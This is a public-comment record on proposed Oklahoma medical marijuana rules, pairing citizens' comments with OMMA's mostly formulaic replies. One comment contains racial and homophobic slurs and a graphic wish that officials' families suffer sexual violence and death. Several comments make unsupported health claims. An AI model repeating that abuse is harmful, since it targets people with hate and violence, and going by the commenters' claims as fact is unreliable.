I would suggest allowing the placement of the tags to be with the blue metrc strap holding the tag up out of the dirt and the metrc tag raised up on the end so it is legible and not touching the dirt at this stage. That way it doesn't harm the plants and it is readable.
If the clone cut doesn't root it is non-medical waste and can be destroyed without the need to send it to a waste facility. It is either damaged, diseased and will not produce life. It is the definition of non-medical waste: a stem with a fan leaf. Tagging potentially Life-less plants benefit no one except metrc.
The state should have it's own "mock" grow operation to carry out it's rules from start to finish and see how well they work!

Lindsay Jones

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. These proposed rules are the product of numerous conversations with a broad group of stakeholders, including the entirety of the public comment period. Moreover, 63 O.S. § 427.13(B)(1) of state statute requires OMMA "ensure that all marijuana being grown in Oklahoma is accounted for[.]" Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Despite Dr. Berry's accomplishments at the helm of OMMA, I do not believe it is constitutional or proper to have such powers concentrated within the hands of the authority's Executive Director. Additionally, the suspension rules are left vague in terms of what licenses are affected and this should be clarified post haste.

Shawn Hendershot

OMMA Evaluation:
Thank you for taking the time to share your comment. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. 63 O.S. § 427.3 gives the Authority's Executive Director the authority to promulgate and enforce rules regarding license revocation, suspension, or disciplinary action for violations of state statute or administrative rules. The Authority will not be making changes regarding this comment, but please know your understanding and input are truly appreciated.

Change:
No rule changes are recommended.

Comment:
No one should be allowed to change rules as they go.
If a hear of the people is done it should be allowed in several place so as to have all parties present.
There should not be a reason at all to take medication away from anyone. If deemed necessary then a trial of their peers should commence. Not license revolt.

This policy is in violation of the constitution. It is like a we have no rights at all.

Dianna Hampton

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Why is the license period for a patient only 2 years. I have renewed 3 times already this is ridiculous.
Why must I renew so often. Im 44
I started at 15 and I am going to use marijuana for life. Quit taxing me for it

John aldridge

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I don't entirely understand majority of the rule changes. I however, do believe that smoking marijuana should not be a inhibitor for employment. I believe that marijuana usage should be left to the discretion

of the user. And I think it should be treated like alcohol. It's one of those things that it's only bad if you make it bad

Marijuana should be treated like alcohol unless medically required by a patient. It is a mind altering substance and can affect ones abilities to do certain tasks. It should be decriminalized. In my opinion, alcohol does more damage to our society than marijuana ever will. Legalizing will not only help your citizens. It will boost the economy as well and keep criminal organizations from having such a stronghold on the substance. It's one of those things that is only bad if you make it bad.

Devin Laird

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
It should be legalized and not just medical legalization
I don't understand why you don't legalize it across the board most of every other state has already illegalized this is really dumb

Cindy Edgar

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
New rules are to fix problems that arise. I don’t see any problems that need fixing. Clearly state what problems need fixing or leave the system alone. It appears you are just making new rules to justify your jobs.

Gregory Menges

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is

important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Could you please advise me about the availability of a resource to detail what impact the proposed rule changes have on me as a patient ? I read the PDF files above and even though I have a university graduate degree and I'm a working, regularly published journalist, I find what is provided to be unfathomable to understand. Thanks, Doug Hill

Doug Hill

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. Pursuant to the Oklahoma Administrative Procedures Act, 75 O.S. § 303, the OMMA published a "Rule Impact Statement" on the agency website detailing any potential impacts to individuals. Additionally, a summary of proposed rule changes and where they occur are included in the "Notice of Rulemaking Intent" on the agency website. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
All of them. Every day people die from eggs, peanuts, salt, sugar, and tobacco. Every year 4700 children die from alcohol as do countless adult adults. In 32,000 years of use, no one has ever died from marijuana. Quit being ridiculous!! Marijuana growers are over regulated to to point of insanity. They should have the same regulations as beet farmers.

Marijuana is a wonderful safe medicine that helps millions of people everyday. Quit making it harder for growers and the mom and pop shops. I know big business wants to take over, but they don't deserve to. And the politicians don't deserve to have big marijuana businesses fund their campaigns.

Donna Siepiela

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Raise the number of plants allowed for medical patients who need more than 6.

Kyle kollmansberger

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I applied for a commercial legal cannabis transportation license here on August 18, 2023, and it hasn’t been approved yet. I feel very frustrated.

SEN BIN XU

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. You can contact OMMA for specific questions about an application at omma.ok.gov/contact. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
My concern comes from the perspective of an independent cannabis nurse educator. There seems to be a pathway for educational facilities to apply for an education if they are educating using public funds, as for myself I am not a part of a facility that uses public funds. I am a registered nurse with a masters in medical cannabis science providing cannabis education to those local to me and online. Is there a license requirement for educators not using public funds?

My next concern is: will there be a time where dispensaries or providers who recommend cannabis, will be required to have a cannabis nurse educator on staff? This could reduce potential negative effects for those who are wanting to consume cannabis as a medication and increase awareness in recreational consumers that cannabis could affect/interact with their current medications.

Christina Shifflett

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement or proposed legislation rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
These laws are frivolous and do no good. If the OMMA or any representing authority of the oklahoma congress truly seeks to do good, they would focus on stricter contamination testing rather than packaging and othersuch nonsense.

Isaac S

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
To Whom It May Concern:
I am a Medical Marijuana patient. Prior to Oklahoma passing the Medical Marijuana law, I was basically an invalid. I was trapped in my bed for 8 years. I was on 13 different psychiatric prescriptions. I took 27 pills at night every night and that does not count the pills I took in the morning and at mid-day. Nothing gave me hope until I heard about the law appearing on the ballet. I registered to vote for the first time in over a decade. I had hope.

I got my card the very first tax season after the law passed, and so did my wife. Our lives have been infinitely better ever since. I now take exactly 0 psychiatric medications apart from my Medical Marijuana. I am not only holding down a job, but I am being promoted into management. My wife is an alcoholic. She is in recovery thanks to her Medical Marijuana. My dad had his card almost immediately. I would need a book quite literally to write down all of the reasons this medicine is necessary for him.

The three of us could not be more great full to the State of Oklahoma for giving us this medicine.

That having been said, I could not be more disappointed in what OMMA has done with the laws and rules ever since the bill passed. OMMA continuously increases the difficulty level when it comes to acquiring this medicine whose value proves to be incalculable to me, my family, and those like us.

Shutting down grows, dispensaries, processors and any other entity trying to bring me this medicine is morally wrong because it makes my medicine more expensive. I have complex PTSD 3 times over. I am bi-polar, ocd, adhd, terrets syndrome, extreme general anxiety disorder, extreme social anxiety disorder and other things with psychotic and anti-social tendencies. I need this medicine to function in society. I spend over $300 a month on medical marijuana right now. And I smoke $10/oz shake and that I infuse with $50/oz concentrate and eat the cheapest potent full spectrum gummies and rso I can find. I go through a lot. I wish I could afford to smoke higher quality stuff and eat better edibles. But I don't need any other medicines anymore.

Your goal should be to facilitate the delivery of marijuana to the OMMA patient. Whereas your goal seems to be keep it out of the hands of the non-patient. You are too worried about the non-patient and you have lost sight of the people you are suppose to be helping. Some of you don't care about the patient. Some of you are there for a pay check and a badge to enforce laws that prevent people who might need this stuff desperately from ever getting it. SHAME ON YOU! This is an outrage. You actually have people making money doing a job that probably should be heavily modified if not eliminated all together. But the rich always get richer while I will always get more poor. The money I spend on my medicine is in part going to people who are making it more difficult to acquire when it should be going to people who are trying to get it to me.

Greed OMMA Greed...It is in your blood. You want to take more from the little guy and make sure he can only afford the worst version of the medicine that he so desperately needs. You are like big government getting out of hand. You are the epitome of pork barreling.

Furthermore, I have comments for law enforcement and faith based persons who voted against recreational marijuana in this state. What did you do in reality? I will explain it to you because you are so dense. You stopped people from easily grabbing a safe alternative to alcohol, meth, heroin, tobacco and most other vices. You stopped people from easily being able to get ahold of a non-addictive safe pain medicine. You did not stop any bad people with this initiative. You gave law enforcement more work on something harmless. THIS MOENY COULD BE USED BY LAW ENFORCEMENT TO STOP REAL CRIMINALS LIKE RAPISTS AND MURDERS. But you have to arrest pot heads and fine them. WASTE OF TIME!

apparently I am out of room. I will make a second note

David Evan Swan

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
OK, so by now you know I am not a fan of what OMMA has been doing. Now I want to speak directly to the persons who shut down DNA Cannabis Solutions in Dewey OK. You are stopping me from acquiring my medicine at a price I can afford. I take this personally and I hope your nigger faggot whore bitch ass gets gang raped until you bleed to death from it, but only after you are forced to watch the same happen to every adult member of your family. FUCK YOU, YOU BIG GOVERNMENT GREEDY PIECE OF SHIT!

David Evan Swan

OMMA Evaluation:
The Authority will not be making any changes in response to this comment.

Change:
No rule changes are recommended.

Comment:
Leave it alone. Pain sucks weed makes it better especially people with fibromyalgia and seizures

Natalie Wolfe

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I'm not sure what new rules we're talking about here. I'll just ask the people at the dispensary. I don't have a good feeling about this because the government always ruins a good thing. I use the gummies for insomnia and chronic back pain. What do you want to ruin now?

Teresa Jordan

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I appreciate the efforts by OBN, DPS and OMMA to mitigate the illicit activity occurring in our state, especially those by foreign agents.

Robert D Johnson III

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
10 day length of time to appeal. Is too short. Existing rules are already to short. All appeals should have general 90 days for submission to allow adequate time to notify. “Destruction” should only occur after a certain period of time
In case appeals are successful.

Tom Fox

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. As the ten (10) day period is set in 63 O.S. 427.6(L), this requirement falls within the jurisdiction of the legislature and cannot be changed by OMMA. The Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I believe regulation of this law is important. Complete and fair regulation of the law. This includes most companies in Oklahoma being allowed to circumvent this law by deeming all of their jobs as Security Risk positions based on their own ludacris definitions. For example, deeming an able bodied, tax paying Oklahoma citizen with a legal Medical Marijuana license, unfit to hold positions that deal with sensitive information about their clients because it's a safety risk. The same thing goes for open positions of employment that deal with the public in any way, being deemed safety sensitive positions that Medical Marijuana card carrying Oklahomans can't do. In the current times where all discrimination is frowned upon, it is alive and well in Oklahoma and our legislators are complicit. contrary to the popular belief of these law-breaking companies. There is a very large populus ready to go work and pay state taxes, however, they are illegally discriminated against because these companies believe our legislature is a joke. I agree with them on this standpoint but not for the same reason.

Dan Marling

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
No longer able to use email from omma to purchase
I get a 30 day visitor card and have to wait for the USPS to deliver my card. The postal service in my state, delivered my Arkansas medical card to someone else and was never located. I'm not happy about

my $100 being taken for my card but the email approval is no longer recognized this I won't always get the full 30 days I pay for.

Karen Young

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
My proposal is that The State enforces laws regarding dispensaries. My observation is that The State only enforces laws against growers and producers. Our dispensary has lost a ton of customers since 2021 since, according to multiple former customers, most other dispensaries don't require a medical card to make a purchase, therefore thousands of Oklahomans have chosen not to renew their MMJ cards. Many dispensaries openly operate out of compliance, as they know there's no enforcement with this rule and so many others. So much so, that they brag about getting away with anything both in person and publicly on online forums.

Eric Dangler

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. You can report any suspected illicit activity at omma.ok.gov/complaint. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I think the license fee for growers and dispensaries should be reasonable. $2500 isn't reasonable for a small grower/dispensary. Thank you.

Albert Drake Jr.

OMMA Evaluation:
Thank you for your comment. This comment primarily focuses on statutory requirements rather than administrative rule changes. Tiered licensing requirements, including individual license fee amounts, were added in HB 2179 (2022), SB 813 (2023), and 63 O.S. § 427.14. Changes to this statutory requirement can only be made by the Legislature. While this comment does not propose and changes to the proposed rules and no changes will be made, we are grateful for your input and thank you again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
Collection of Kief by growers
I think kief should be considered a concentrate and growers should not be allowed to separate kief from shake/trim or flower. Allowing growers to hold on to kief gives them an opportunity to make infused pre-rolls and it would be harder to discover.

John Schwindt

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
442:10-7-3. Advertising
A business is not to "Promote Overconsumption". Is The OMMA proposing they know what the standard "consumption" rate for everyone is, and applying it to the advertising? I can personally consume levels of THC others can't. I'm disabled and have many ailments that effect me physically. So this rule is subjective in interpretation, which gives the OMMA the ability to set consumption rates by visually interpreting advertisements, and then fining the company if they believe the law was broke. Again, subjective to whoever is wanting to fine companies just to keep the money machine rolling for the OMMA. More startling, is the line "Represents that the use of marijuana has curative or therapeutic effects;"

This line should be removed, because we all know cannabis has currative and therapeutic effects. So if someone is smiling in an advertisement, then an OMMA goon can "assume" the smiling person is having therapeutic sessions and that"s illegal to show. These laws are absurd. the OMMA is becoming absurd in its over regulations. The Federal Govt. has cannabis listed as a Schedule One substance, which means they want you to believe cannabis has zero medical benefits. However, the same Federal Government, allows companies to make Marinol, a synthetic THC.

So if there's no medical benefit, then why do Doctors prescribe Marinol and why are they allowed to do so? Since Oklahoma is breaking Federal Law, and The Feds are breaking Federal Law by shipping in illegals, then there's no point for the OMMA to implement its own draconian laws on the people with threats of fines and business shut downs. The OMMA is becoming the very thing Oklahoma does not want or need by harassing the business owners with putting products in bags when it's already sealed in a bag mostly. Face particles in open product while smelling is not a real concern, as it's made up and is not a problem, just something else to threaten control of Oklahoma Businesses with. Shame on the OMMA. Shame.

Robin Bradley

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
You should make a new statute your authority needs to process business applications within a certain amount of time. You are costing businesses hundreds of thousands of dollars while you take take take. Someone needs to be fired! It was better with the previous director. I think you need to worry about your licensing renewals and change of ownerships before you worry about new rules. Over 6 months for a renewal or change of ownership to be processed is unreasonable and ridiculous. I am NOT leaving my correct information in fear of retaliation.

John Doe

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. You can contact OMMA for specific questions about an applciation at omma.ok.gov/contact. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
This is overkill. It is more bureaucracy. There are already enough regulations and the proposed Permanent Rules are just an overreach of power.

David Millikan

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Overall I am not in favor of the permanent rule changes. My area of concern came at page 5 under "442:1-1-15. Emergency cease and desist" I believe this is saying a business will be fined up to $10,000/day if the Authority deems an immediate action needs to take place. It will shut the place of business down without

a notice or hearing. As this sounds great and yes, I want my children and community safe, I also want my business owners to feel safe. No one wants out of state assholes taking our biz. Yet my Okcams Razor is thinking of a more real scene of small town cop vs "the weed shop". I next had concern on page 32 under "442:10-4-4. Inspections". I have issue with coming in unannounced at the whim of nothing. I personally would feel better if the proposed change would include that it is referring to the "two on-site inspections per calendar year", instead of just assuming. I feel like it's a loophole for Big Brother and that does not belong in Oklahoma or USA.
And absolutely not regarding the very following change. That is angry ex girlfriend all over it, and the angry church neighbor 10 miles away. This will led to a stupid amount of resources used for no reason. So No on this from me! And then the document continues, with more ridiculousness! It's quite obvious these changes are riding on the fear the Chinese outlaws have had on the industry, but at what cost to our freedom? I thought we learned our lesson after the tapping of everyone's phone post 9/11. The employee licenses? Good people will lose their jobs. How about making this industry a great local economy instead of making it a money maker for politicians? Keep local business local. Conveniently this is proved you (government) is fishing for more money as there are NO changes to the Authority's section- no added licenses or added rules. Big Government is Democratic Socialism and it's not welcome in Oklahoma. Thank you for reading my concerns.

Toshina Williams

OMMA Evaluation:

Thank you for taking the time to share your comment. This comment primarily focuses on statutory requirements rather than administrative rule changes. It's important to note that alterations to these requirements fall within the jurisdiction of the legislature and cannot be modified otherwise. 63 O.S. § 427.6 allows the Authority to take immediate action in order to protect the health and welfare of the public, including ordering the licensee to immediately cease and desist operations. In response to your comment about OAC 442:10-4-4, HB 2095 (2023), 63 O.S. 427.20, and 63 O.S. 427.19 allow the Authority to conduct unannounced on-site inspections. The employee credential requirements in SB 1704 (2022) and 63 O.S. § 427.14b require all employees of a medical marijuana business licensee to apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. Changes to any of these statutory requirements fall under the jurisdiction of the Legislature. The Authority cannot make changes in response to these specific comments at the moment, but we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
As an OMMA patient, I support any and all amendments to current rules in place to safeguard patients and the public at-large and/or to ease the administrative burden of the OMMA.

Kyle Bradley

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is

important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:

In regards to the national background check; I have a dispensary license, a transport license, and now an employee credential that all renew at a different time. I'm certain there are many in my same situation. Can we find a way to only have the background check required annually?
1. We don't have any idea of the cost yet, but anything 3 times a year is unnecessarily costly.
2. Much of the state is rural, creating an issue with multiple trips for background checks, again unnecessarily costly.

Anette Horstman

OMMA Evaluation:
Thank you for taking the time to share your comment. It's worth noting that your feedback pertains to state statute rather than administrative rules. HB 2095 (2023) and 63 O.S. § 427.14 require all applicants undergo a national fingerprint-based background check within thirty days prior to the application for the license. Changes to this statutory requirement can only be made by the Legislature. While the Authority cannot make changes in response to this specific comment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
Hi OMMA, Patient since 2018 here.

First off THANK YOU for adding more lab and testing details in your rules, speaking as a local patient with epilepsy this is something I appreciate.

The rule on which I'm commenting is for recalls, under which it is stated that it is the commercial licensee's responsibility to notify patients in the event of a recall. The verbiage for the rule I linked:

"If any medical marijuana or medical marijuana products that exceed test
above allowable thresholds....the following shall occur:

..."Provide notice to all affected licensees and consumers once identified"

Until recently the notice came to patients from OMMA then we started getting patient newsletters to check the recall site, so there was either confusion in the businesses doing the recall and not notifying or OMMA no longer sending recall notices to the patients (and at one point when I've spoken to OMMA I was told with reference to this rule, that the responsibility lies with the business, not OMMA) -- I would

like for OMMA to continue and/or RESUME sending recall notices to patients along with businesses, since this should not have stopped, if this was the case. This should not take a new bill or rule or anything it's just an email setting tweak.

;

Additionally, this next comment is not a rule so I'm entirely unsure if you can address this, but have been encouraged by a couple of people to submit this as comment anyway-- patient and renewal processing time is fine (at least for me it's great but I live in OK), and we know you cannot control the USPS/mailing times, yet many out of state patients plan their trips to Oklahoma around the receipt of this card and the time varies substantially based on one's location. For someone with a serious condition in a state that doesn't have as robust a network of dispensaries or access as Oklahoma, it's even more frustrating.

This may be based entirely on your ability to code it into Thentia (so possibly not at all) and it is a shot in the dark, but would it be possible to OFFER --at the Patient's expense/additional fee-- some sort of priority shipping upgrade? You can likely get a decent commercial rate if still going with USPS or a different shipper, and this is usually around $15 for other types of cards sent out by the state though they are from specific vendors/contractors (just a comparison in price).

Up the price to compensate for the materials and the labor for your mail room or staff that has to do this since it's not regular first class mail, try it for awhile and if you don't see it sustaining you can stop offering it. Or try it while developing other patient friendly options in the meantime as your budget (that I realize is handled by OKLEG) allows at that time. The benefits are more time for those patients to spend in Oklahoma bringing in not only the cannabis excise tax revenues but other/local tax revenues at hotels, restaurants, etc.

Thank you for allowing another round of comments and taking this comment.

Amanda Shelton

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I just wanted to reach out and say that I appreciate OMMA and Berry despite the lack of informed and educated Business Operators or consumers.

Thank y'all for working hard on changes to the labs, and process Validation.

I wish the Secret Shopper program would have been better written to allow the prevention of illegal sells. And to address and stop Sells under other names/cards by card less consumers.

As well as address the misinformation around COO requirements as a long standing requirement for all businesses before 788 was even passed. I think it's unfair to be sued and attacked over the failure of their own due diligence to remain up to code because it wasn't spelled out for them.

I recently left the industry in Jan of 2024 due to the White Collar Crime and general malpractice and gaslighting/misinformation the owners of many brands and businesses participate in while breaking the law, please continue to try and keep consumers safe despite these people's complaints about increasing regulations on their misbehavior.

Ashley Dale

OMMA Evaluation:
Thank you for your comment and thoughtful suggestions. HB 4056 (2022) and 63 O.S. § 427.17 required changes to required laboratory testing rules while HB3929 (2022) and 63 O.S. 427.17 required process validation. The secret shopper program is required by HB 3971 (2022) and 63 O.S. § 427.25 and was amended in SB 813 (2023) to include secret shopping at the point of sale at a dispensary, which directly addresses the concerns raised in your comment. Additional changes to this statutory requirement can only be made by the Legislature. Changes to OMMA proposed permanent rules require all Certificate(s) of Occupancy, Final Inspection Report(s), and Site Plan(s) be submitted with any new or renewal license application or location change request; the Authority may establish and enforce this requirement pursuant to 63 O.S. § 427.3(D)(11), 63 O.S. § 427.14(L), 63 O.S. § 427.14(G)(2), and 63 O.S. § 427.14(J). While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
I am interested to better understand the impact of the rules on business owners. I am a consultant who serves businesses in better understanding compliance.

Carisa Rowe

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. Pursuant to the Oklahoma Administrative Procedures Act, 75 O.S. § 303, the OMMA published a "Rule Impact Statement" on the agency website detailing any potential impacts to individuals. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit

relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC.

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware, coupled with the state providing an approved list of vapes. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.
Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Nicholas Blain

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
Clause (C): Is the OMMA accredited to ISO 17043:2010 for production of PT samples? If not, I suggest partnering with an accredited organization, such as AOAC INTERNATIONAL for preparation of appropriate materials and proper statistical analyses. OMMA should disclose whether or not the PT materials are produced under ISO 17043:2010 and whether OMMA is accredited to this standard.

Clause (D), subclause (i): If a genetic-based method recommends no enrichment for pathogen detection and has been validated (comparing to cultural enrichment), does that satisfy this subclause? There is a distinct difference between qPCR and end-point PCR with microarray detection. The former requires enrichment while the latter does not. The method principles are different. Likewise, NGS and WGS do not require enrichment, so are these technologies disallowed? If the intent of this subclause is to require enrichment, then technology innovation is being severely stifled. The requirement ought to be validation of a method in comparison to an appropriate cultural reference procedure. If method performance is demonstrated to be valid, then the method should be suitable as validated. The OMMA should not be influenced by competitors that do not understand innovative technologies and cannot compete against them. The OMMA should be neutral to all method manufacturers as long as the methods are validated to the same standard.

Sharon Brunelle

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
